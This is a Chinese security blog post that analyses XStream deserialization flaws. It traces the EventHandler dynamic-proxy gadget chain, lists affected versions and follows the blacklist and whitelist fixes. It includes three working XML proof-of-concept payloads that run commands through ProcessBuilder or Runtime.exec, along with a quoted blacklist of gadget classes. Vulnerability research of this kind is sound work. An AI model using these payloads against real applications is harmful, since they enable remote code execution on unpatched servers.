XStream反序列化分析
2025-07-29 10:13:24

前言

前段时间挖洞审计java时发现了一个XStream反序列化漏洞,当时直接使用公开POC拿下了,发现自己好像并没有分析过XStream反序列化漏洞的底层原理,趁周末补上。

EventHandler

动态代理基础:https://kagty1.github.io/2025/02/06/%E9%9D%99%E6%80%81%E4%B8%8E%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86/

EventHandler类动态代理执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class test {
public static void main(String[] args) throws Exception {
ProcessBuilder pb = new ProcessBuilder("open", "-a", "Calculator");

EventHandler handler = new EventHandler(pb, "start", null, null);

Runnable proxy = (Runnable) Proxy.newProxyInstance(
Runnable.class.getClassLoader(),
new Class<?>[]{Runnable.class},
handler);

proxy.run();
}
}

ProcessBuilder.start()执行命令不做赘述

通过动态代理代理接口Runnable,调用Runnable接口的任意方法均会调用至EventHandler.invoke方法

EventHandler构造函数接收4个参数,表示为(target, action, null, null),后两个参数不做研究

执行EventHandler.invoke最后的调用逻辑为target.action(),即proxy.run() -> pb.start()执行任意命令

XStream_Demo

1
2
3
4
5
6
7
8
9
10
11
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
import java.io.FileInputStream;

public class XStreamTest {
public static void main(String[] args) throws Exception{
FileInputStream fileInputStream = new FileInputStream("C:\\Users\\worker\\Downloads\\XStream\\XStream\\src\\main\\java\\evil.xml");
XStream xStream = new XStream(new DomDriver());
xStream.fromXML(fileInputStream);
}
}

TreeUnmarshaller.start(DataHolder dataHolder)

这个方法是XStream反序列化的关键方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object start(DataHolder dataHolder) {
this.dataHolder = dataHolder;

//从XML节点中读取Class类型
Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);

//根据读取的Class类型,将其转换为具体的Java对象
Object result = this.convertAnother((Object)null, type);

for(Runnable runnable : this.validationList) {
runnable.run();
}

return result;
}

sorted-set

POC
1
2
3
4
5
6
7
8
9
10
11
12
13
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

利用动态代理,使用java.beans.EventHandler代理java.lang.Comparable接口,当触发Comparable接口的compareTo方法时,出发EventHandler.invoke方法进而触发ProcessBuilder.start方法从而命令执行

调试

断点先打在com.thoughtworks.xstream.core.TreeUnmarshaller#start

先获取XML根标签的类类型,即<sorted-set>对应的类类型,为interface java.util.SortedSet

image-20250728111115525

接着根据类类型,将其转换为对应的java对象,跟进至com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother(java.lang.Object, java.lang.Class, com.thoughtworks.xstream.converters.Converter)

image-20250728111807983

使用defaultImplementationOf方法寻找interface java.util.SortedSet的默认实现类,为class java.util.TreeSet

跟进convert方法至com.thoughtworks.xstream.core.TreeUnmarshaller#convert,调用了转换器TreeSetConverterunmarshal方法

image-20250728112544165

继续跟进com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal方法

image-20250728113016256

调用populateTreeMap方法,这个方法的作用是从XML数据中读取键值填充至TreeMap中,跟进

image-20250728113522097

XML中没有显示自定义Comparator,则调用putCurrentEntryIntoMap方法将XML中的内容填充至Map中,跟进putCurrentEntryIntoMap方法

image-20250728113931827

调用readItem方法来进行读取,跟进

image-20250728114119787

有没有觉得很熟悉,是的,同TreeUnmarshaller.start方法中一样,调用了readClassType来获取<dynamic-proxy>标签对应的类类型,为class com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,然后调用convertAnother方法来将其转换为具体的java对象,跟进convertAnother方法

image-20250728114514323

同上获取默认实现类,再次调用this.convert方法,可以将这个过程看成一个递归解析XML标签的过程

跟进至com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal方法

image-20250728115840985

获取XML中的<interface>标签中的值,作为即将进行动态代理的接口

获取<handler class=?>?的值作为动态代理类

然后同样的方法使用convertAnother方法获取EventHandler对象

image-20250728120248722

然后使用interfacehandler创建动态代理对象proxy

最后返回动态代理对象proxy,一直调用至com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap,调用了

image-20250728135034881

跟进TreeMap.putAll方法,调用至java.util.TreeMap#put方法

image-20250728135217457

跟进compare方法,调用proxy.compareTo方法,触发动态代理

至此调用链分析完毕

总结

调用链可以总结简述为如下过程

1
2
3
4
5
6
7
8
9
10
11
12
com.thoughtworks.xstream.core.TreeUnmarshaller#start 方法开始进行XML反序列化
(1) 解析根部标签 <sorted-set>
readClassType方法获取XML根标签类的类型 <sorted-set> -> interface java.util.SortedSet
convertAnother根据类类型将其转换为java对象 (断点跟进)
defaultImplemention方法获取接口interface java.util.SortedSet的默认实现类->class java.util.TreeSet,并调用lookupConverterForType方法获取转换器
转换过程中调用com.thoughtworks.xstream.converters.collections.TreeMapConverter#putCurrentEntryIntoMap填充Map,开始处理<sorted-set>标签内的内容
(2) com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter#readItem 方法开始处理 <dynamic-proxy>标签
HierarchicalStreams.readClassType -> class com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy
同理调用defaultImplemention方法和lookupConverterForType方法获取转换器
调用至com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal方法,开始解析<dynamic-proxy>标签内的内容,处理<interface>和<handler class=?>
(3) handler = (InvocationHandler) context.convertAnother(proxy, handlerType); 继续处理 <handler class=?>标签内的内容,原理同上
(4) 最后构造动态代理对象,触发proxy.conpareTo进而触发命令执行

综上所述,可以理解为一个递归处理XML标签的过程,利用动态代理触发命令执行

影响版本
1
version  = 1.4.51.4.61.4.10

version <= 1.4.4失败原因

已知漏洞利用的关键是com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap

image-20250728143128630

调用populateTreeMap方法需要一个前提条件,即sortedMapField != null,这样treeMap才会被赋值,treeMap != null才会走到else中调用populateTreeMap方法,在version = 1.4.5, 1.4.6中,sortedMapField属性的值默认null

image-20250728143702118

但是在version <= 1.4.4中,sortedMapField属性的值默认为null

image-20250728143854464

1.4.7 <= version <= 1.4.9失败原因

查找转换器方法com.thoughtworks.xstream.core.DefaultConverterLookup#lookupConverterForType中,调用canConvert方法进行检查,在com.thoughtworks.xstream.converters.reflection.ReflectionConverter#canConvert方法中将EventHandler类加入了黑名单中

image-20250728150001077

image-20250728150014965

很奇怪的一点是,为什么1.4.7 <= version <= 1.4.9中显示禁用了EventHandler类,而从version = 1.4.10开始移除了此黑名单,原因是从1.4.10开始,XStream默认启用了权限限制模型,要求开发者显示调用.allowTypes().allowTypesByWildcard()来开放需要反序列化的类 — 即 “白名单” 机制

1.4.10 <= version <= 1.4.12,需要显示禁用默认的AnyTypePerssion

1
2
3
4
5
6
xStream.addPermission(NoTypePermission.NONE);
xStream.allowTypes(new Class[] {
SortedSet.class,
DynamicProxyMapper.DynamicProxy.class,
Comparable.class
});

若反序列化的类不在白名单中则会报错

image-20250728152552475

1.4.13 <= version <= 1.4.18中,可以不写xStream.addPermission(NoTypePermission.NONE);,默认禁用

image-20250728153118776

tree-map

POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>kagty1</string>
</entry>
</tree-map>
调试

其实根据POC来看,本质上是根部标签<sorted-set><tree-map>的区别

com.thoughtworks.xstream.converters.collections.TreeMapConverter#unmarshal方法中,调用populateTreeMap没有

com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal方法中的那么多限制

image-20250728160924907

对比com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal

image-20250728161157178

这也就不难解释为什么tree-map可以打1.4.0 <= version <= 1.4.4

影响版本
1
1.4.0 <= version <= 1.4.6, version = 1.4.10

1.4.11 <= version <= 1.4.12中,在com.thoughtworks.xstream.XStream.InternalBlackList#canConvert方法中显示禁用了java.beans.EventHandler

image-20250728164605093

黑名单机制setupSecurity()的引入

1.4.13 <= version <= 1.4.17中,XStream引入了黑名单机制,这也是许多绕过的根源

version = 1.4.13setupSecurity,只禁用了java.beans.EventHandler

image-20250728172905970

version = 1.4.17

image-20250728173232713

1
"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue"

这个黑名单中很不理解的一个地方是,禁用了java.lang.ProcessBuilder,却不禁用java.lang.Runtime…,这也为后来的绕过埋下伏笔了

java.util.PriorityQueue

POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="sun.tracing.NullProvider">
<active>true</active>
<providerType>java.lang.Comparable</providerType>
<probes>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class="java.lang.Runtime"/>
<implementing__method>
<class>java.lang.Runtime</class>
<name>exec</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</handler>
</dynamic-proxy>
<string>calc</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

同理利用了动态代理,找到了黑名单之外的类实现任意代码执行。

影响版本
1
version <= 1.4.17

version >= 1.4.18白名单引入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
protected void setupSecurity() {
if (this.securityMapper != null) {
this.addPermission(NoTypePermission.NONE);
this.addPermission(NullPermission.NULL);
this.addPermission(PrimitiveTypePermission.PRIMITIVES);
this.addPermission(ArrayTypePermission.ARRAYS);
this.addPermission(InterfaceTypePermission.INTERFACES);
this.allowTypeHierarchy(Calendar.class);
this.allowTypeHierarchy(Collection.class);
this.allowTypeHierarchy(Map.class);
this.allowTypeHierarchy(Map.Entry.class);
this.allowTypeHierarchy(Member.class);
this.allowTypeHierarchy(Number.class);
this.allowTypeHierarchy(Throwable.class);
this.allowTypeHierarchy(TimeZone.class);
Class type = JVM.loadClassForName("java.lang.Enum");
if (type != null) {
this.allowTypeHierarchy(type);
}

type = JVM.loadClassForName("java.nio.file.Path");
if (type != null) {
this.allowTypeHierarchy(type);
}

Set types = new HashSet();
types.add(BitSet.class);
types.add(Charset.class);
types.add(Class.class);
types.add(Currency.class);
types.add(Date.class);
types.add(DecimalFormatSymbols.class);
types.add(File.class);
types.add(Locale.class);
types.add(Object.class);
types.add(Pattern.class);
types.add(StackTraceElement.class);
types.add(String.class);
types.add(StringBuffer.class);
types.add(JVM.loadClassForName("java.lang.StringBuilder"));
types.add(URL.class);
types.add(URI.class);
types.add(JVM.loadClassForName("java.util.UUID"));
if (JVM.isSQLAvailable()) {
types.add(JVM.loadClassForName("java.sql.Timestamp"));
types.add(JVM.loadClassForName("java.sql.Time"));
types.add(JVM.loadClassForName("java.sql.Date"));
}

if (JVM.isVersion(8)) {
this.allowTypeHierarchy(JVM.loadClassForName("java.time.Clock"));
types.add(JVM.loadClassForName("java.time.Duration"));
types.add(JVM.loadClassForName("java.time.Instant"));
types.add(JVM.loadClassForName("java.time.LocalDate"));
types.add(JVM.loadClassForName("java.time.LocalDateTime"));
types.add(JVM.loadClassForName("java.time.LocalTime"));
types.add(JVM.loadClassForName("java.time.MonthDay"));
types.add(JVM.loadClassForName("java.time.OffsetDateTime"));
types.add(JVM.loadClassForName("java.time.OffsetTime"));
types.add(JVM.loadClassForName("java.time.Period"));
types.add(JVM.loadClassForName("java.time.Ser"));
types.add(JVM.loadClassForName("java.time.Year"));
types.add(JVM.loadClassForName("java.time.YearMonth"));
types.add(JVM.loadClassForName("java.time.ZonedDateTime"));
this.allowTypeHierarchy(JVM.loadClassForName("java.time.ZoneId"));
types.add(JVM.loadClassForName("java.time.chrono.HijrahDate"));
types.add(JVM.loadClassForName("java.time.chrono.JapaneseDate"));
types.add(JVM.loadClassForName("java.time.chrono.JapaneseEra"));
types.add(JVM.loadClassForName("java.time.chrono.MinguoDate"));
types.add(JVM.loadClassForName("java.time.chrono.ThaiBuddhistDate"));
types.add(JVM.loadClassForName("java.time.chrono.Ser"));
this.allowTypeHierarchy(JVM.loadClassForName("java.time.chrono.Chronology"));
types.add(JVM.loadClassForName("java.time.temporal.ValueRange"));
types.add(JVM.loadClassForName("java.time.temporal.WeekFields"));
}

types.remove((Object)null);
Iterator iter = types.iterator();
Class[] classes = new Class[types.size()];

for(int i = 0; i < classes.length; ++i) {
classes[i] = (Class)iter.next();
}

this.allowTypes(classes);
}
}

只允许反序列化白名单中允许的类,一劳永逸了属于是

上一页
2025-07-29 10:13:24
下一页